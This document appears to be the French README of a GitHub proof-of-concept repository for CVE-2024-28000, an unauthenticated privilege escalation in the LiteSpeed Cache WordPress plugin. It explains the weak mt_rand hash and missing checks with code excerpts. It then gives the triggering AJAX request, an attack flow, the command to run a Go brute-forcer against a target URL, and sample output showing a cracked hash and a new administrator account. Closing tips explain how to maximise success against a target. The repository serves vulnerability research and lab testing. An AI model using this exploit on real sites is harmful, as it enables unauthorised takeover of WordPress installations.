
CVE-2024-28000 — Mis à jour !
Labo d'exploitation pratique pour CVE-2024-28000 — élévation de privilèges non authentifiée dans LiteSpeed Cache (plugin WordPress, <=6.3.0.1). Déploie un environnement vulnérable avec Docker et inclut un brute-forcer en Go qui casse le hash mt_rand faible pour créer un compte administrateur.
CVE-2024-28000 - PoC d'escalade de privilèges LiteSpeed Cache
[!WARNING] Ce dépôt est destiné à des fins éducatives et de recherche uniquement.
- Utilisez le PoC fourni exclusivement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
- L'accès non autorisé, l'exploitation ou l'utilisation abusive de tout élément de ce dépôt est illégale.
- Le(s) auteur(s) n'assument aucune responsabilité pour tout dommage, utilisation abusive ou conséquence juridique résultant d'une utilisation inappropriée.
Aperçu
CVE-2024-28000 est une vulnérabilité critique d'escalade de privilèges non authentifiée affectant l'extension LiteSpeed Cache pour WordPress. La vulnérabilité provient d'un mécanisme d'authentification basé sur un hash faible dans la fonctionnalité de simulation de rôle du crawler de l'extension, permettant à un attaquant totalement non authentifié d'usurper l'identité d'un administrateur WordPress et de prendre le contrôle total du site.
Fonctionnement de la vulnérabilité
L'extension LiteSpeed Cache inclut un crawler qui préchauffe le cache du site en visitant les pages avec différents rôles d'utilisateur. Pour authentifier le crawler, l'extension génère un hash court et le stocke dans la table des options de WordPress. Toute requête présentant ce hash dans un cookie se voit attribuer le rôle d'utilisateur spécifié dans un second cookie.
Trois défauts de conception se combinent pour rendre cela exploitable :
Défaut 1 - Déclenchement du hash sans authentification
L'action AJAX qui génère le hash est enregistrée pour les utilisateurs non authentifiés sans vérification de capacité ni de nonce :
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
Un attaquant déclenche cela en envoyant :
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
Défaut 2 - Hash prévisible (espace de graine de seulement 1 000 000)
Le hash est généré à l'aide de mt_rand() de PHP initialisé avec la composante microseconde de l'heure actuelle :
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() ne renvoie que la fraction de seconde (par ex. 0.523847). Multipliée par 1 000 000, cela produit une graine comprise entre 0 et 999 999 - indépendamment de l'heure de la journée. Un attaquant qui déclenche lui-même la génération du hash connaît l'heure approximative de génération et peut forcer par force brute les 1 million de graines en quelques minutes.
Défaut 3 - Aucune limitation de débit sur la vérification
L'extension vérifie le hash à chaque requête par une simple comparaison de chaînes, sans verrouillage ni limitation de débit :
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
Flux d'attaque complet
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise
Configuration du laboratoire
Prérequis
- Docker
- Go 1.21+
Installation
# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
Attendez jusqu'à voir :
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
Utilisation
Exécuter l'exploit
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
Sortie attendue
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] Le hash n'a pas d'expiration, mais il peut être régénéré par le crawler intégré de LiteSpeed.
- Si le crawler est actif (intervalle par défaut : toutes les 10 minutes), le hash stocké dans la base de données sera remplacé automatiquement - ce qui fait échouer la force brute puisqu'elle teste des graines pour l'ancien hash.
- Si le crawler est désactivé, le hash persiste indéfiniment et le nombre de threads n'affecte que la vitesse, pas le succès.
- Pour maximiser le taux de réussite : déclenchez la génération du hash et lancez l'exploit immédiatement, avec autant de threads que la cible peut en supporter.
- Signes que le hash a été renouvelé en cours d'attaque : les 1 000 000 de graines sont épuisées sans résultat malgré la réussite du contrôle de cohérence au démarrage.